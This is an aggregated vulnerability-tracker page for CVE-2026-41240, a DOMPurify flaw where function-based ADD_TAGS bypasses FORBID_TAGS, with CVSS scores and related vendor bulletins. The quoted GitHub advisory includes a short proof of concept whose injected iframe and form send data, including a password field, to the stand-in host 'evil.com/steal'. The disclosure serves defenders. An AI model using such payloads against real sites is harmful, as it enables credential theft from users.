Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 272/272 feeds/APIs · 469/469 docs · 8/9 advisories · checked 03:06 UTC Customize Public modeDiscuss ChangeIntel on Discord

DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-41240

Published

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

Source published
23 Apr 2026 14:54:32 UTC
Source modified
23 Apr 2026 17:21:30 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 6.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

euvd · EUVD-2026-25238

Published

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Apr 23, 2026, 2:54:32 PM

dateUpdated: Apr 23, 2026, 5:21:30 PM

22 related source bulletins · separate from aliases

RHSA-2026:27879: Red Hat Security Advisory: OpenShift Virtualization v4.21 Images

CVE-2026-41240

RHSA-2026:27967: Red Hat Security Advisory: OpenShift Virtualization v4.20 Images

CVE-2026-41240

RHSA-2026:34608: Red Hat Security Advisory: Streams for Apache Kafka 2.9.4 release and security update

CVE-2024-29371 · CVE-2025-13465 · CVE-2025-58056 · CVE-2026-1002 · CVE-2026-4800 · CVE-2026-6860 · CVE-2026-23864 · CVE-2026-24281 · CVE-2026-24308 · CVE-2026-27980 · CVE-2026-33870 · CVE-2026-33871 · CVE-2026-34480 · CVE-2026-39852 · CVE-2026-41240 · CVE-2026-42044 · CVE-2026-42583 · CVE-2026-42587 · CVE-2026-44249 · CVE-2026-44573 · CVE-2026-44574 · CVE-2026-44575 · CVE-2026-44577 · CVE-2026-44578 · CVE-2026-44579 · CVE-2026-44893 · CVE-2026-45109 · CVE-2026-45416 · CVE-2026-45674 · CVE-2026-47691 · CVE-2026-48043 · CVE-2026-48059 · CVE-2026-50010 · CVE-2026-50559

WID-SEC-W-2026-2892: Oracle Construction and Engineering: Schwachstelle gefährdet Vertraulichkeit und Integrität

CVE-2026-41240

WID-SEC-W-2026-3046: IBM Concert: Mehrere Schwachstellen

CVE-2019-19921 · CVE-2021-23337 · CVE-2024-3651 · CVE-2024-39338 · CVE-2024-45590 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-15599 · CVE-2025-22874 · CVE-2025-47273 · CVE-2025-47907 · CVE-2025-52881 · CVE-2025-53643 · CVE-2025-55184 · CVE-2025-58056 · CVE-2025-58188 · CVE-2025-58189 · CVE-2025-61723 · CVE-2025-61730 · CVE-2025-64649 · CVE-2025-64756 · CVE-2025-67221 · CVE-2025-68121 · CVE-2025-68146 · CVE-2026-0540 · CVE-2026-2327 · CVE-2026-23490 · CVE-2026-23897 · CVE-2026-2391 · CVE-2026-23949 · CVE-2026-24486 · CVE-2026-25528 · CVE-2026-25547 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-26007 · CVE-2026-26019 · CVE-2026-26996 · CVE-2026-27142 · CVE-2026-27212 · CVE-2026-27699 · CVE-2026-27903 · CVE-2026-27904 · CVE-2026-28684 · CVE-2026-29063 · CVE-2026-29181 · CVE-2026-2950 · CVE-2026-31808 · CVE-2026-31900 · CVE-2026-32274 · CVE-2026-32288 · CVE-2026-32597 · CVE-2026-32630 · CVE-2026-32887 · CVE-2026-32952 · CVE-2026-33186 · CVE-2026-33532 · CVE-2026-33750 · CVE-2026-33814 · CVE-2026-33816 · CVE-2026-33916 · CVE-2026-34043 · CVE-2026-34073 · CVE-2026-34077 · CVE-2026-3520 · CVE-2026-35469 · CVE-2026-35515 · CVE-2026-3627 · CVE-2026-39823 · CVE-2026-39825 · CVE-2026-39826 · CVE-2026-39892 · CVE-2026-39984 · CVE-2026-40175 · CVE-2026-40179 · CVE-2026-40181 · CVE-2026-40190 · CVE-2026-40347 · CVE-2026-41066 · CVE-2026-41182 · CVE-2026-41238 · CVE-2026-41239 · CVE-2026-41240 · CVE-2026-41305 · CVE-2026-41324 · CVE-2026-41425 · CVE-2026-41481 · CVE-2026-41488 · CVE-2026-41602 · CVE-2026-41636 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42198 · CVE-2026-42211 · CVE-2026-42338 · CVE-2026-42342 · CVE-2026-42561 · CVE-2026-42577 · CVE-2026-43870 · CVE-2026-44405 · CVE-2026-44431 · CVE-2026-44432 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44496 · CVE-2026-44728 · CVE-2026-4539 · CVE-2026-45409 · CVE-2026-45736 · CVE-2026-46625 · CVE-2026-4800 · CVE-2026-4923 · CVE-2026-4926 · CVE-2026-7246 · CVE-2026-8723

RHSA-2026:27875: Red Hat Security Advisory: OpenShift Virtualization v4.18 Images

CVE-2026-41240

RHSA-2026:36107: Red Hat Security Advisory: OpenShift Virtualization v4.15 Images

CVE-2026-41240 · CVE-2026-42044

RHSA-2026:27872: Red Hat Security Advisory: OpenShift Virtualization v4.19 Images

CVE-2026-41240

RHSA-2026:22619: Red Hat Security Advisory: Red Hat Data Grid 8.6.1 security update

CVE-2026-4800 · CVE-2026-33870 · CVE-2026-33871 · CVE-2026-34478 · CVE-2026-34480 · CVE-2026-34481 · CVE-2026-40975 · CVE-2026-41240 · CVE-2026-42033 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043

openSUSE-SU-2026:10888-1: argocd-cli-3.4.3-1.1 on GA media

CVE-2026-41240

RHSA-2026:24977: Red Hat Security Advisory: RHOAI 2.25.7 - Red Hat OpenShift AI

CVE-2025-14813 · CVE-2025-48956 · CVE-2025-61726 · CVE-2025-62718 · CVE-2025-69227 · CVE-2025-69228 · CVE-2026-1462 · CVE-2026-4800 · CVE-2026-6321 · CVE-2026-23490 · CVE-2026-24747 · CVE-2026-25048 · CVE-2026-25960 · CVE-2026-27489 · CVE-2026-27893 · CVE-2026-28500 · CVE-2026-28684 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-31958 · CVE-2026-32280 · CVE-2026-32597 · CVE-2026-32981 · CVE-2026-33186 · CVE-2026-33231 · CVE-2026-34986 · CVE-2026-34993 · CVE-2026-39892 · CVE-2026-40192 · CVE-2026-40895 · CVE-2026-41240 · CVE-2026-41242 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043

RHSA-2026:86618: Red Hat Security Advisory: New container image: rhceph-9.2

CVE-2023-46159 · CVE-2024-47866 · CVE-2024-48916 · CVE-2024-55565 · CVE-2025-12816 · CVE-2025-15599 · CVE-2025-26791 · CVE-2025-30156 · CVE-2025-50181 · CVE-2025-50182 · CVE-2025-58754 · CVE-2025-59343 · CVE-2025-62718 · CVE-2025-66030 · CVE-2025-66035 · CVE-2025-66412 · CVE-2025-69873 · CVE-2026-0540 · CVE-2026-21441 · CVE-2026-22610 · CVE-2026-25639 · CVE-2026-26996 · CVE-2026-27903 · CVE-2026-27904 · CVE-2026-27970 · CVE-2026-32141 · CVE-2026-33228 · CVE-2026-33671 · CVE-2026-33672 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39865 · CVE-2026-40175 · CVE-2026-40895 · CVE-2026-41238 · CVE-2026-41239 · CVE-2026-41240 · CVE-2026-41305 · CVE-2026-42033 · CVE-2026-42034 · CVE-2026-42035 · CVE-2026-42036 · CVE-2026-42037 · CVE-2026-42038 · CVE-2026-42039 · CVE-2026-42040 · CVE-2026-42041 · CVE-2026-42042 · CVE-2026-42043 · CVE-2026-42044 · CVE-2026-50152 · CVE-2026-58224

RHSA-2026:34160: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update

CVE-2026-6322 · CVE-2026-33154 · CVE-2026-41240 · CVE-2026-42035 · CVE-2026-42784 · CVE-2026-44293 · CVE-2026-44431 · CVE-2026-44432 · CVE-2026-44488 · CVE-2026-44495 · CVE-2026-48526

WID-SEC-W-2026-1407: IBM App Connect Enterprise Certified Container: Mehrere Schwachstellen

CVE-2026-26013 · CVE-2026-27142 · CVE-2026-28277 · CVE-2026-28684 · CVE-2026-32288 · CVE-2026-33151 · CVE-2026-33349 · CVE-2026-33532 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-33916 · CVE-2026-34601 · CVE-2026-35469 · CVE-2026-39406 · CVE-2026-39407 · CVE-2026-39408 · CVE-2026-39409 · CVE-2026-39410 · CVE-2026-39983 · CVE-2026-40175 · CVE-2026-40347 · CVE-2026-40895 · CVE-2026-41238 · CVE-2026-41239 · CVE-2026-41240 · CVE-2026-4923 · CVE-2026-4926

RHSA-2026:36108: Red Hat Security Advisory: OpenShift Virtualization v4.13 Images

CVE-2026-41240 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495

RHSA-2026:59360: Red Hat Security Advisory: Apicurio Registry (container images) release and security update [ 3.3.1 GA ]

CVE-2026-12975 · CVE-2026-12992 · CVE-2026-12993 · CVE-2026-41240 · CVE-2026-44496 · CVE-2026-49978

RHSA-2026:28010: Red Hat Security Advisory: Red Hat build of Cryostat security update

CVE-2025-48431 · CVE-2026-9277 · CVE-2026-32281 · CVE-2026-41240 · CVE-2026-42578 · CVE-2026-42579 · CVE-2026-42581 · CVE-2026-42584 · CVE-2026-42587 · CVE-2026-43869

RHSA-2026:21338: Red Hat Security Advisory: Red Hat Developer Hub 1.8.7 release.

CVE-2026-6321 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32282 · CVE-2026-40895 · CVE-2026-41240 · CVE-2026-41242 · CVE-2026-41674 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044

RHSA-2026:16476: Red Hat Security Advisory: Kiali 1.73.30 for Red Hat OpenShift Service Mesh 2.6

CVE-2026-32280 · CVE-2026-40895 · CVE-2026-41240 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043

RHSA-2026:27944: Red Hat Security Advisory: OpenShift Virtualization v4.14 Images

CVE-2026-41240 · CVE-2026-44495

RHSA-2026:21772: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.28.0 Release.

CVE-2025-14813 · CVE-2025-68121 · CVE-2026-0636 · CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-1605 · CVE-2026-2229 · CVE-2026-2327 · CVE-2026-5588 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-29074 · CVE-2026-30827 · CVE-2026-31802 · CVE-2026-32141 · CVE-2026-32280 · CVE-2026-32282 · CVE-2026-32305 · CVE-2026-33252 · CVE-2026-33810 · CVE-2026-34742 · CVE-2026-35051 · CVE-2026-39858 · CVE-2026-40477 · CVE-2026-40478 · CVE-2026-40611 · CVE-2026-40895 · CVE-2026-40912 · CVE-2026-40972 · CVE-2026-40973 · CVE-2026-40975 · CVE-2026-41240 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044

RHSA-2026:28001: Red Hat Security Advisory: OpenShift Virtualization v4.17 Images

CVE-2026-41240

Source published
Apr 23, 2026, 2:54:32 PM (timezone not stated)
Source modified
Apr 23, 2026, 5:21:30 PM (timezone not stated)
Observed here
28 Oct 2026 05:07:19 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 6.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

nvd · CVE-2026-41240

Published

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-79 · CWE-183

Original publisher date fields

published: 2026-04-23T16:16:26.710

lastModified: 2026-10-26T21:10:00.170

1 source CPE criteria · context only
  • cpe:2.3:a:cure53:dompurify:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
23 Apr 2026 16:16:26 UTC
Source modified
26 Oct 2026 21:10:00 UTC
Observed here
27 Oct 2026 10:10:07 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 6.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

osv · GHSA-h7mw-gpvr-xq4m

Published

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214: /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */ if (FORBID_ATTR[lcName]) { return false; } The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely: if ( !( EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function && EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits ) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated ) { This allows forbidden elements to survive sanitization with their attributes intact. PoC (tested against current HEAD in Node.js + jsdom): const DOMPurify = createDOMPurify(window); DOMPurify.sanitize( '<iframe src="https://evil.com"></iframe>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['iframe'] } ); // Returns: '<iframe src="https://evil.com"></iframe>' // Expected: '' (iframe forbidden) DOMPurify.sanitize( '<form action="https://evil.com/steal"><input name=password></form>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['form'] } ); // Returns: '<form action="https://evil.com/steal"><input name="password"></form>' // Expected: '<input name="password">' (form forbidden) Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs. Compare with FORBID_ATTR which correctly wins: DOMPurify.sanitize( '<p onclick="alert(1)">hello</p>', { ADD_ATTR: function(attr) { return true; }, FORBID_ATTR: ['onclick'] } ); // Returns: '<p>hello</p>' (onclick correctly removed) Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214: /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */ if (FORBID_TAGS[tagName]) { // proceed to removal logic } This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs. Reporter: Koda Reef

Source published
22 Apr 2026 17:34:17 UTC
Source modified
10 Sep 2026 03:50:44 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 30 Oct 03:06 UTC · 272 of 272 readable · 271 fully read · documentation 469/469 current